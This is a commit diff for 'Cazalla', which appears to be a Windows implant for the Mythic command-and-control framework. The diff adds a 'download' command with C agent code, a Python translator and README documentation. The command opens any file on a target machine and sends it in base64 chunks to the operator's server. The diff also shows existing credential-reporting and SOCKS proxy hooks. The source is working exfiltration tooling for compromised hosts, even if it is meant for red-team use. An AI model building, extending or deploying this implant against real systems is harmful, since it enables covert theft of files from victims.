Download created

Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c

@@ -1,5 +1,6 @@
 #include "SistemadeFicheros.h"
 #include "paquete.h"
+#include "transporte.h"
 
 /* Forward decl to avoid implicit declaration on some toolchains */
 BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
@@ -435,8 +436,8 @@ VOID EliminarRuta(PAnalizador argumentos){
     addString(respuestaTarea, tareaUuid, FALSE);
     addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
     
-    // Add File Write artifact for the deleted file/directory
-    addArtifact(respuestaTarea, "File Write", ruta);
+    // Add File Delete artifact for the deleted file/directory
+    addArtifact(respuestaTarea, "File Delete", ruta);
 
     mandarPaquete(respuestaTarea);
     liberarPaquete(salida);
@@ -951,3 +952,253 @@ VOID LeerFichero(PAnalizador argumentos) {
 end:
     LocalFree(rutaFichero);
 }
+
+// Helper function to extract file_id from response
+// Format: Binary response with file_id marker 0xFB followed by [file_id_len:4][file_id]
+static PCHAR extractFileIdFromResponse(PAnalizador respuesta) {
+    if (!respuesta || respuesta->tamano < 5) {
+        return NULL;
+    }
+    
+    // Look for file_id marker 0xFB
+    PBYTE buffer = respuesta->buffer;
+    SIZE_T len = respuesta->tamano;
+    
+    for (SIZE_T i = 0; i < len - 5; i++) {
+        if (buffer[i] == 0xFB) {
+            // Found marker, extract file_id
+            i++; // Skip marker
+            if (i + 4 > len) break;
+            
+            UINT32 file_id_len = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
+            i += 4;
+            
+            if (file_id_len == 0 || file_id_len > 256 || i + file_id_len > len) {
+                break;
+            }
+            
+            PCHAR file_id = (PCHAR)LocalAlloc(LPTR, file_id_len + 1);
+            if (!file_id) {
+                return NULL;
+            }
+            
+            memcpy(file_id, buffer + i, file_id_len);
+            file_id[file_id_len] = '\0';
+            return file_id;
+        }
+    }
+    
+    return NULL;
+}
+
+VOID DescargarFichero(PAnalizador argumentos) {
+    SIZE_T tamanoUuid = 36;
+    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
+    UINT32 nbArg = getInt32(argumentos);
+
+    _dbg("[download] tenemos %d argumentos", nbArg);
+    if (nbArg == 0) {
+        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
+        addString(respuestaError, tareaUuid, FALSE);
+        PPaquete salidaError = nuevoPaquete(0, FALSE);
+        PackageAddFormatPrintf(salidaError, FALSE, "[download] Error: No se especificó archivo\n");
+        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
+        mandarPaquete(respuestaError);
+        liberarPaquete(salidaError);
+        liberarPaquete(respuestaError);
+        return;
+    }
+
+    SIZE_T tamano = 0;
+    PCHAR rutaFichero = getString(argumentos, &tamano);
+
+    _dbg("[download] Archivo a descargar: \"%s\"", rutaFichero);
+
+    // Abrir archivo para lectura
+    HANDLE hFile = CreateFileA(
+        rutaFichero,
+        GENERIC_READ,
+        FILE_SHARE_READ,
+        NULL,
+        OPEN_EXISTING,
+        FILE_ATTRIBUTE_NORMAL,
+        NULL
+    );
+
+    if (hFile == INVALID_HANDLE_VALUE) {
+        DWORD error = GetLastError();
+        _err("[download] No se ha podido abrir el archivo. Código: %lu\n", error);
+
+        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
+        addString(respuestaError, tareaUuid, FALSE);
+        PPaquete salidaError = nuevoPaquete(0, FALSE);
+        PackageAddFormatPrintf(salidaError, FALSE, "[download] Error: No se pudo abrir el archivo. Código: %lu\n", error);
+        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
+        mandarPaquete(respuestaError);
+        liberarPaquete(salidaError);
+        liberarPaquete(respuestaError);
+        goto end;
+    }
+
+    // Obtener tamaño del archivo
+    DWORD fileSizeHigh = 0;
+    DWORD fileSizeLow = GetFileSize(hFile, &fileSizeHigh);
+    
+    // Limitar a archivos < 2GB para simplificar
+    if (fileSizeHigh > 0) {
+        _err("[download] Archivo demasiado grande (>2GB)\n");
+        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
+        addString(respuestaError, tareaUuid, FALSE);
+        PPaquete salidaError = nuevoPaquete(0, FALSE);
+        PackageAddFormatPrintf(salidaError, FALSE, "[download] Error: Archivo demasiado grande (>2GB)\n");
+        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
+        mandarPaquete(respuestaError);
+        liberarPaquete(salidaError);
+        liberarPaquete(respuestaError);
+        CloseHandle(hFile);
+        goto end;
+    }
+    
+    DWORD fileSize = fileSizeLow;
+    
+    if (fileSize == 0) {
+        _dbg("[download] Archivo vacío\n");
+        CloseHandle(hFile);
+        PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE);
+        addString(respuestaFinal, tareaUuid, FALSE);
+        PPaquete salidaFinal = nuevoPaquete(0, FALSE);
+        PackageAddFormatPrintf(salidaFinal, FALSE, "[download] Archivo vacío: %s\n", rutaFichero);
+        addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE);
+        addArtifact(respuestaFinal, "File Read", rutaFichero);
+        mandarPaquete(respuestaFinal);
+        liberarPaquete(salidaFinal);
+        liberarPaquete(respuestaFinal);
+        goto end;
+    }
+
+    // Obtener full path del archivo
+    char fullPath[MAX_PATH];
+    DWORD pathLen = GetFullPathNameA(rutaFichero, MAX_PATH, fullPath, NULL);
+    if (pathLen == 0 || pathLen >= MAX_PATH) {
+        // Si falla, usar la ruta original
+        strncpy(fullPath, rutaFichero, MAX_PATH - 1);
+        fullPath[MAX_PATH - 1] = '\0';
+    }
+
+    // Calcular chunk size (512KB por defecto)
+    const DWORD CHUNK_SIZE = 512 * 1024;
+    DWORD totalChunks = (fileSize + CHUNK_SIZE - 1) / CHUNK_SIZE;
+    
+    _dbg("[download] Archivo: %lu bytes, %lu chunks de %lu bytes cada uno", 
+         fileSize, totalChunks, CHUNK_SIZE);
+
+    // Paso 1: Enviar mensaje de registro
+    PPaquete registroRespuesta = nuevoPaquete(POST_RESPONSE, TRUE);
+    addString(registroRespuesta, tareaUuid, FALSE);
+    
+    // Agregar mensaje de output simple
+    PPaquete salidaRegistro = nuevoPaquete(0, FALSE);
+    PackageAddFormatPrintf(salidaRegistro, FALSE, "[download] Registrando descarga: %s (%lu bytes, %lu chunks)\n", 
+                          fullPath, fileSize, totalChunks);
+    addBytes(registroRespuesta, (PBYTE)salidaRegistro->buffer, salidaRegistro->length, TRUE);
+    
+    // Agregar download registration
+    addDownloadRegistration(registroRespuesta, fullPath, totalChunks, CHUNK_SIZE);
+    
+    // Enviar registro y recibir respuesta con file_id
+    PAnalizador respuestaRegistro = mandarPaquete(registroRespuesta);
+    liberarPaquete(salidaRegistro);
+    liberarPaquete(registroRespuesta);
+    
+    if (!respuestaRegistro) {
+        _err("[download] Error: No se recibió respuesta del registro\n");
+        CloseHandle(hFile);
+        goto end;
+    }
+    
+    // Extraer file_id de la respuesta
+    PCHAR file_id = extractFileIdFromResponse(respuestaRegistro);
+    liberarAnalizador(respuestaRegistro);
+    
+    if (!file_id) {
+        _err("[download] Error: No se pudo extraer file_id de la respuesta\n");
+        CloseHandle(hFile);
+        goto end;
+    }
+    
+    _dbg("[download] File ID recibido: %s\n", file_id);
+
+    // Paso 2: Leer y enviar chunks
+    PBYTE chunkBuffer = (PBYTE)LocalAlloc(LPTR, CHUNK_SIZE);
+    if (!chunkBuffer) {
+        _err("[download] Error: No se pudo asignar memoria para chunk buffer\n");
+        LocalFree(file_id);
+        CloseHandle(hFile);
+        goto end;
+    }
+    
+    DWORD chunkNum = 1;
+    DWORD totalBytesRead = 0;
+    
+    while (totalBytesRead < fileSize) {
+        DWORD bytesToRead = (fileSize - totalBytesRead > CHUNK_SIZE) ? CHUNK_SIZE : (fileSize - totalBytesRead);
+        DWORD bytesRead = 0;
+        
+        if (!ReadFile(hFile, chunkBuffer, bytesToRead, &bytesRead, NULL)) {
+            DWORD error = GetLastError();
+            _err("[download] Error leyendo chunk %lu. Código: %lu\n", chunkNum, error);
+            break;
+        }
+        
+        if (bytesRead == 0) {
+            break;
+        }
+        
+        _dbg("[download] Enviando chunk %lu/%lu (%lu bytes)\n", chunkNum, totalChunks, bytesRead);
+        
+        // Crear paquete para este chunk
+        PPaquete chunkRespuesta = nuevoPaquete(POST_RESPONSE, TRUE);
+        addString(chunkRespuesta, tareaUuid, FALSE);
+        
+        // NO agregar output de texto para chunks - solo el chunk marker
+        // Agregar un output vacío (tamaño 0)
+        addInt32(chunkRespuesta, 0);
+        
+        // Agregar download chunk
+        addDownloadChunk(chunkRespuesta, file_id, chunkNum, chunkBuffer, bytesRead);
+        
+        // Enviar chunk
+        PAnalizador respuestaChunk = mandarPaquete(chunkRespuesta);
+        liberarPaquete(chunkRespuesta);
+        
+        if (respuestaChunk) {
+            liberarAnalizador(respuestaChunk);
+        }
+        
+        totalBytesRead += bytesRead;
+        chunkNum++;
+    }
+    
+    CloseHandle(hFile);
+    LocalFree(chunkBuffer);
+    LocalFree(file_id);
+    
+    // Enviar mensaje final con output y artifact
+    PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE);
+    addString(respuestaFinal, tareaUuid, FALSE);
+    
+    PPaquete salidaFinal = nuevoPaquete(0, FALSE);
+    PackageAddFormatPrintf(salidaFinal, FALSE, "[download] Descarga completada: %s (%lu bytes)\n", 
+                          fullPath, totalBytesRead);
+    addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE);
+    
+    // Agregar artifact File Read (indica que se leyó/accedió al archivo para descargar)
+    addArtifact(respuestaFinal, "File Read", fullPath);
+    
+    mandarPaquete(respuestaFinal);
+    liberarPaquete(salidaFinal);
+    liberarPaquete(respuestaFinal);
+
+end:
+    LocalFree(rutaFichero);
+}

Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.h

@@ -19,4 +19,6 @@ VOID EliminarRuta(PAnalizador argumentos);
 
 VOID LeerFichero(PAnalizador argumentos);
 
+VOID DescargarFichero(PAnalizador argumentos);
+
 #endif //FILESYSTEM_H

Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c

@@ -62,6 +62,8 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
             EliminarRuta(analizadorTarea);
         } else if (tarea == CAT_CMD) {
             LeerFichero(analizadorTarea);
+        } else if (tarea == DOWNLOAD_CMD) {
+            DescargarFichero(analizadorTarea);
         } else if (tarea == START_SOCKS_CMD) {
             DBG_PRINTF("Received START_SOCKS_CMD");
             startSocksHandler(analizadorTarea);

Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h

@@ -29,6 +29,7 @@
 #define MKDIR_CMD       0x24
 #define RM_CMD          0x25
 #define CAT_CMD         0x26
+#define DOWNLOAD_CMD    0x27
 
 /* New SOCKS control commands (agent-side) */
 #define START_SOCKS_CMD 0x60

Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c

@@ -697,3 +697,63 @@ VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR c
     addInt32(paquete, (UINT32)account_len);
     addString(paquete, account, FALSE);
 }
+
+/* Download registration: adds download registration marker and data to response package */
+/* Format: [0xFD marker][action:1=0][full_path_len:4][full_path][total_chunks:4][chunk_size:4] */
+VOID addDownloadRegistration(PPaquete paquete, PCHAR full_path, UINT32 total_chunks, UINT32 chunk_size) {
+    if (!paquete || !full_path) {
+        return;
+    }
+    
+    // Download registration marker (0xFD)
+    addByte(paquete, 0xFD);
+    
+    // Action: 0 = registration
+    addByte(paquete, 0);
+    
+    // Full path length and value
+    SIZE_T path_len = strlen(full_path);
+    addInt32(paquete, (UINT32)path_len);
+    addString(paquete, full_path, FALSE);
+    
+    // Total chunks (can be -1 if unknown)
+    addInt32(paquete, total_chunks);
+    
+    // Chunk size
+    addInt32(paquete, chunk_size);
+}
+
+/* Download chunk: adds download chunk marker and data to response package */
+/* Format: [0xFC marker][action:1=1][file_id_len:4][file_id][chunk_num:4][chunk_data_len:4][chunk_data_base64] */
+VOID addDownloadChunk(PPaquete paquete, PCHAR file_id, UINT32 chunk_num, PBYTE chunk_data, SIZE_T chunk_data_len) {
+    if (!paquete || !file_id || !chunk_data || chunk_data_len == 0) {
+        return;
+    }
+    
+    // Download chunk marker (0xFC)
+    addByte(paquete, 0xFC);
+    
+    // Action: 1 = chunk
+    addByte(paquete, 1);
+    
+    // File ID length and value
+    SIZE_T file_id_len = strlen(file_id);
+    addInt32(paquete, (UINT32)file_id_len);
+    addString(paquete, file_id, FALSE);
+    
+    // Chunk number (1-based)
+    addInt32(paquete, chunk_num);
+    
+    // Encode chunk data to base64
+    char* chunk_data_b64 = b64Codificado(chunk_data, chunk_data_len);
+    if (!chunk_data_b64) {
+        _err("[download] Error encoding chunk data to base64\n");
+        return;
+    }
+    
+    SIZE_T chunk_b64_len = strlen(chunk_data_b64);
+    addInt32(paquete, (UINT32)chunk_b64_len);
+    addString(paquete, chunk_data_b64, FALSE);
+    
+    LocalFree(chunk_data_b64);
+}

Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h

@@ -40,4 +40,11 @@ VOID addArtifact(PPaquete paquete, PCHAR artifact_type, PCHAR artifact_value);
 /* credential_type must be: plaintext, certificate, hash, key, ticket, or cookie */
 VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR credential, PCHAR account);
 
+/* Download helpers: for file download from agent to Mythic */
+/* Format for download registration: [0xFD marker][action:1][full_path_len:4][full_path][total_chunks:4][chunk_size:4] */
+/* Format for download chunk: [0xFC marker][file_id_len:4][file_id][chunk_num:4][chunk_data_len:4][chunk_data_base64] */
+/* action: 0 = registration, 1 = chunk */
+VOID addDownloadRegistration(PPaquete paquete, PCHAR full_path, UINT32 total_chunks, UINT32 chunk_size);
+VOID addDownloadChunk(PPaquete paquete, PCHAR file_id, UINT32 chunk_num, PBYTE chunk_data, SIZE_T chunk_data_len);
+
 #endif

Payload_Type/cazalla/cazalla/agent_functions/download.py

@@ -0,0 +1,45 @@
+from mythic_container.MythicCommandBase import *
+from mythic_container.MythicRPC import *
+
+
+class DownloadArguments(TaskArguments):
+    def __init__(self, command_line, **kwargs):
+        super().__init__(command_line, **kwargs)
+        self.args = [
+            CommandParameter(
+                name="file",
+                type=ParameterType.String,
+                description="Path to the file to download from the target",
+            ),
+        ]
+
+    async def parse_arguments(self):
+        if len(self.command_line) == 0:
+            raise ValueError("Must supply a path to download")
+        self.add_arg("file", self.command_line)
+
+    async def parse_dictionary(self, dictionary_arguments):
+        if "file" in dictionary_arguments:
+            self.add_arg("file", dictionary_arguments["file"])
+
+
+class DownloadCommand(CommandBase):
+    cmd = "download"
+    needs_admin = False
+    help_cmd = "download <path>"
+    description = "Download a file from the target to the Mythic server"
+    version = 1
+    author = "@KaseyaOFSTeam"
+    argument_class = DownloadArguments
+
+    async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
+        response = PTTaskCreateTaskingMessageResponse(
+            TaskID=taskData.Task.ID,
+            Success=True,
+        )
+        return response
+
+    async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
+        resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
+        return resp
+

Payload_Type/cazalla/translator/commands_from_c2.py

@@ -15,6 +15,7 @@ commands = {
     "mkdir": {"hex_code": 0x24, "input_type": "string"},
     "rm": {"hex_code": 0x25, "input_type": "string"},
     "cat": {"hex_code": 0x26, "input_type": "string"},
+    "download": {"hex_code": 0x27, "input_type": "string"},
     # Added SOCKS control commands
     "start_socks": {"hex_code": 0x60, "input_type": "int"},
     "stop_socks": {"hex_code": 0x61, "input_type": None},
@@ -121,4 +122,16 @@ def responsePosting(responses):
             data += b"\x01"
         else: 
             data += b"\x00"
+        
+        # Check if this response has a file_id (from download registration)
+        # When Mythic responds to a download registration, it includes file_id
+        if "file_id" in response:
+            file_id = response["file_id"]
+            file_id_bytes = file_id.encode('utf-8')
+            # Format: [0xFB marker][file_id_len:4][file_id]
+            data += bytes([0xFB])  # File ID marker
+            data += len(file_id_bytes).to_bytes(4, "big")
+            data += file_id_bytes
+            print(f"[DOWNLOAD] File ID agregado a respuesta binaria: {file_id}")
+    
     return data

Payload_Type/cazalla/translator/commands_from_implant.py

@@ -174,15 +174,21 @@ def postResponse(data):
     uuidTask = data[:36]
     data = data[36:]
 
+    # Extract output, but handle case where output might be empty (e.g., download chunks)
     output, data = getBytesWithSize(data)
 
     print(f"Tamaño después de extraer UUID: {len(data)} bytes")
+    print(f"Tamaño del output extraído: {len(output)} bytes")
     
-    # Parse artifacts and credentials: 
+    # Parse artifacts, credentials, and downloads
     # Artifacts format: [0xFF][type_len:4][type][value_len:4][value]
     # Credentials format: [0xFE][type_len:4][type][realm_len:4][realm][credential_len:4][credential][account_len:4][account]
+    # Download registration: [0xFD][action:0][full_path_len:4][full_path][total_chunks:4][chunk_size:4]
+    # Download chunk: [0xFC][action:1][file_id_len:4][file_id][chunk_num:4][chunk_data_len:4][chunk_data_base64]
     artifacts_data = []
     credentials_data = []
+    download_registration = None
+    download_chunk = None
     remaining_data = data
     
     while len(remaining_data) >= 5:  # At least: marker (1) + type_len (4)
@@ -301,11 +307,120 @@ def postResponse(data):
                 print(f"[CREDENTIALS] Detectado credential: {credential_type} para {account}@{realm if realm else '(local)'}")
                 
                 # Continue parsing for multiple credentials
+                remaining_data = remaining_data[offset:]
+            except:
+                break
+        elif remaining_data[0] == 0xFD:
+            # Download registration marker found
+            # Format: [0xFD][action:0][full_path_len:4][full_path][total_chunks:4][chunk_size:4]
+            offset = 1
+            
+            # Skip action byte (should be 0 for registration)
+            if len(remaining_data) < offset + 1:
+                break
+            action = remaining_data[offset]
+            offset += 1
+            
+            if action != 0:
+                break  # Not a registration message
+            
+            # Extract full_path
+            if len(remaining_data) < offset + 4:
+                break
+            path_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
+            offset += 4
+            
+            if path_len == 0 or len(remaining_data) < offset + path_len:
+                break
+            
+            try:
+                full_path = remaining_data[offset:offset+path_len].decode('cp850')
+                offset += path_len
+            except:
+                break
+            
+            # Extract total_chunks
+            if len(remaining_data) < offset + 4:
+                break
+            total_chunks = int.from_bytes(remaining_data[offset:offset+4], 'big', signed=True)
+            offset += 4
+            
+            # Extract chunk_size
+            if len(remaining_data) < offset + 4:
+                break
+            chunk_size = int.from_bytes(remaining_data[offset:offset+4], 'big')
+            offset += 4
+            
+            # Store download registration info
+            download_registration = {
+                "full_path": full_path,
+                "total_chunks": total_chunks,
+                "chunk_size": chunk_size
+            }
+            print(f"[DOWNLOAD] Registro detectado: path={full_path}, chunks={total_chunks}, chunk_size={chunk_size}")
+            
+            remaining_data = remaining_data[offset:]
+        elif remaining_data[0] == 0xFC:
+            # Download chunk marker found
+            # Format: [0xFC][action:1][file_id_len:4][file_id][chunk_num:4][chunk_data_len:4][chunk_data_base64]
+            offset = 1
+            
+            # Skip action byte (should be 1 for chunk)
+            if len(remaining_data) < offset + 1:
+                break
+            action = remaining_data[offset]
+            offset += 1
+            
+            if action != 1:
+                break  # Not a chunk message
+            
+            # Extract file_id
+            if len(remaining_data) < offset + 4:
+                break
+            file_id_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
+            offset += 4
+            
+            if file_id_len == 0 or len(remaining_data) < offset + file_id_len:
+                break
+            
+            try:
+                file_id = remaining_data[offset:offset+file_id_len].decode('cp850')
+                offset += file_id_len
+            except:
+                break
+            
+            # Extract chunk_num
+            if len(remaining_data) < offset + 4:
+                break
+            chunk_num = int.from_bytes(remaining_data[offset:offset+4], 'big')
+            offset += 4
+            
+            # Extract chunk_data (base64)
+            if len(remaining_data) < offset + 4:
+                break
+            chunk_data_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
+            offset += 4
+            
+            if chunk_data_len == 0 or len(remaining_data) < offset + chunk_data_len:
+                break
+            
+            try:
+                chunk_data_b64 = remaining_data[offset:offset+chunk_data_len].decode('cp850')
+                offset += chunk_data_len
+                
+                # Store chunk info
+                download_chunk = {
+                    "file_id": file_id,
+                    "chunk_num": chunk_num,
+                    "chunk_data": chunk_data_b64
+                }
+                print(f"[DOWNLOAD] Chunk detectado: file_id={file_id}, chunk_num={chunk_num}, data_len={chunk_data_len}")
+                
                 remaining_data = remaining_data[offset:]
             except:
                 break
         else:
-            # No more artifacts or credentials
+            # No more markers
             break
 
     try:
@@ -352,8 +467,10 @@ def postResponse(data):
         "completed": True,
     }
     
-    # Siempre incluir user_output para que se vea en la consola
-    jsonTask["user_output"] = decoded_output
+    # Incluir user_output para que se vea en la consola, EXCEPTO cuando hay download chunks
+    # (los chunks de download no necesitan user_output)
+    if not download_chunk or decoded_output.strip():
+        jsonTask["user_output"] = decoded_output
     
     # Si detectamos una lista de procesos, también incluir el formato para Process Browser
     if is_process_list and len(processes) > 0:
@@ -394,6 +511,24 @@ def postResponse(data):
         jsonTask["credentials"] = credentials
         print(f"[CREDENTIALS] Total de credentials agregados: {len(credentials)}")
     
+    # Add download information if present
+    if download_registration:
+        jsonTask["download"] = download_registration
+        print(f"[DOWNLOAD] Download registration agregado al JSON: {json.dumps(download_registration)}")
+    
+    if download_chunk:
+        # For download chunks, we ONLY send the download info, no user_output
+        # Remove user_output if it was added
+        if "user_output" in jsonTask:
+            jsonTask.pop("user_output", None)
+        
+        jsonTask["download"] = {
+            "chunk_num": download_chunk["chunk_num"],
+            "file_id": download_chunk["file_id"],
+            "chunk_data": download_chunk["chunk_data"]
+        }
+        print(f"[DOWNLOAD] Download chunk agregado al JSON: chunk_num={download_chunk['chunk_num']}, file_id={download_chunk['file_id']}, data_len={len(download_chunk['chunk_data'])}")
+
     resTaks.append(jsonTask)
 
     dataJson = {"action": "post_response", "responses": resTaks}

README.md

@@ -25,6 +25,7 @@
 - [Process Browser Integration](#process-browser-integration)
 - [Artifacts Support](#artifacts-support)
 - [Credentials Support](#credentials-support)
+- [File Downloads Support](#file-downloads-support)
 - [Development](#development)
 - [Troubleshooting](#troubleshooting)
 - [Credits](#credits)
@@ -181,6 +182,7 @@ For more information, see the [Mythic documentation on customizing public agents
 | `mkdir` | Create directory | `mkdir C:\temp\new_folder` |
 | `rm` | Delete file or directory | `rm C:\temp\file.txt` |
 | `cat` | Read file contents (with automatic credential detection) | `cat C:\path\to\file.txt` |
+| `download` | Download file from target to Mythic server | `download C:\path\to\file.txt` |
 
 ### Execution & Control
 
@@ -559,15 +561,18 @@ Currently supported:
 - **File Write**: Automatically reported for:
   - `cp` (copy) - reports destination file path
   - `mkdir` (create directory) - reports created directory path
+- **File Delete**: Automatically reported for:
   - `rm` (delete) - reports deleted file/directory path
+- **File Read**: Automatically reported for:
+  - `download` - reports file path when downloading files
 
 **Note**: The following commands don't require artifacts as they are read-only or don't modify system state:
 - `ls`, `cd`, `pwd` - read-only file system operations
 - `ps` - already integrated with Process Browser
 - `sleep`, `exit` - don't modify system state
+- `cat` - read-only file operation (doesn't create artifacts, but may report credentials)
 
 Future support can be added for:
-- **File Read**: When files are downloaded/read (e.g., `download` command)
 - **File Write**: For file upload operations (e.g., `upload` command)
 - **Network Connection**: When network operations occur (e.g., for `socks` proxy connections)
 - **Registry Modification**: When registry keys are modified (e.g., `reg_set`, `reg_delete`)
@@ -605,7 +610,8 @@ Example implementations:
 - `shell`: Process Create artifact with command
 - `cp`: File Write artifact with destination path
 - `mkdir`: File Write artifact with directory path
-- `rm`: File Write artifact with deleted path
+- `rm`: File Delete artifact with deleted path
+- `download`: File Read artifact with downloaded file path
 
 ### Best Practices for New Commands
 
@@ -785,6 +791,97 @@ For more information, see the [Mythic Credentials documentation](https://docs.my
 
 ---
 
+## 📥 File Downloads Support
+
+Cazalla supports downloading files from the target to the Mythic server using chunked transfers, following [Mythic's File Downloads specification](https://docs.mythic-c2.net/customizing/hooking-features/download).
+
+### Features
+
+- **Chunked File Transfers**: Large files are automatically split into chunks (512KB default) for efficient transfer
+- **Automatic Registration**: Files are automatically registered with Mythic before transfer
+- **Progress Tracking**: Mythic tracks download progress (chunks received/total chunks)
+- **File Read Artifacts**: Automatically reports File Read artifacts when files are downloaded
+- **Full Path Tracking**: Reports full file paths for proper tracking in Mythic's file browser
+
+### How It Works
+
+1. **Command Execution**: When you execute `download C:\path\to\file.txt`, the agent:
+   - Opens the file for reading
+   - Calculates file size and number of chunks needed
+   - Sends a registration message to Mythic with file metadata (`total_chunks`, `full_path`, `chunk_size`)
+   - Receives a `file_id` from Mythic
+   - Reads and sends file data in chunks (base64-encoded)
+   - Reports a File Read artifact when complete
+
+2. **Mythic Integration**: The download is automatically:
+   - Registered in Mythic's file browser
+   - Tracked with progress (chunks received/total)
+   - Available for download from the Mythic UI once all chunks are received
+
+### Using the Download Command
+
+```bash
+# Download a file from the target
+download C:\Users\localuser\Downloads\file.txt
+
+# Downloads are chunked automatically - Mythic will show progress:
+# "0 / 5 Chunks Received" → "5 / 5 Chunks Received" (complete)
+```
+
+### Download Process
+
+1. **Registration**: Agent sends file metadata to Mythic
+   - `full_path`: Full path to the file
+   - `total_chunks`: Number of chunks needed
+   - `chunk_size`: Size of each chunk (512KB default)
+
+2. **File ID**: Mythic responds with a unique `file_id` for this download
+
+3. **Chunk Transfer**: Agent sends each chunk sequentially:
+   - Chunk number (1-based)
+   - `file_id` to associate with registration
+   - Base64-encoded chunk data
+
+4. **Completion**: Once all chunks are received, the file appears in Mythic's file browser
+
+### Example Download Flow
+
+```
+Agent: [download] Registrando descarga: C:\Users\file.txt (1024000 bytes, 2 chunks)
+Mythic: Response with file_id: "uuid-here"
+Agent: [download] Enviando chunk 1/2 (512000 bytes)
+Agent: [download] Enviando chunk 2/2 (512000 bytes)
+Agent: [download] Descarga completada: C:\Users\file.txt (1024000 bytes)
+Mythic: File available in file browser
+```
+
+### Implementation Details
+
+The download system uses:
+- **Chunk Size**: 512KB per chunk (configurable in code)
+- **File Size Limit**: Supports files up to 2GB (can be extended)
+- **Base64 Encoding**: Chunk data is base64-encoded before transmission
+- **Artifact Reporting**: Automatically reports "File Read" artifact with file path
+
+### Error Handling
+
+The download command handles various error scenarios:
+- **File Not Found**: Returns error message if file cannot be opened
+- **File Too Large**: Returns error if file exceeds 2GB limit
+- **Empty Files**: Properly handles empty files (0 bytes)
+- **Access Denied**: Returns Windows error code if access is denied
+
+### Viewing Downloaded Files
+
+1. Navigate to your callback in the Mythic UI
+2. Click the **Files** icon (file browser) in the top navigation
+3. View all downloaded files with their metadata
+4. Download files to your local system
+
+For more information, see the [Mythic File Downloads documentation](https://docs.mythic-c2.net/customizing/hooking-features/download).
+
+---
+
 ## 🔧 Development
 
 ### Project Structure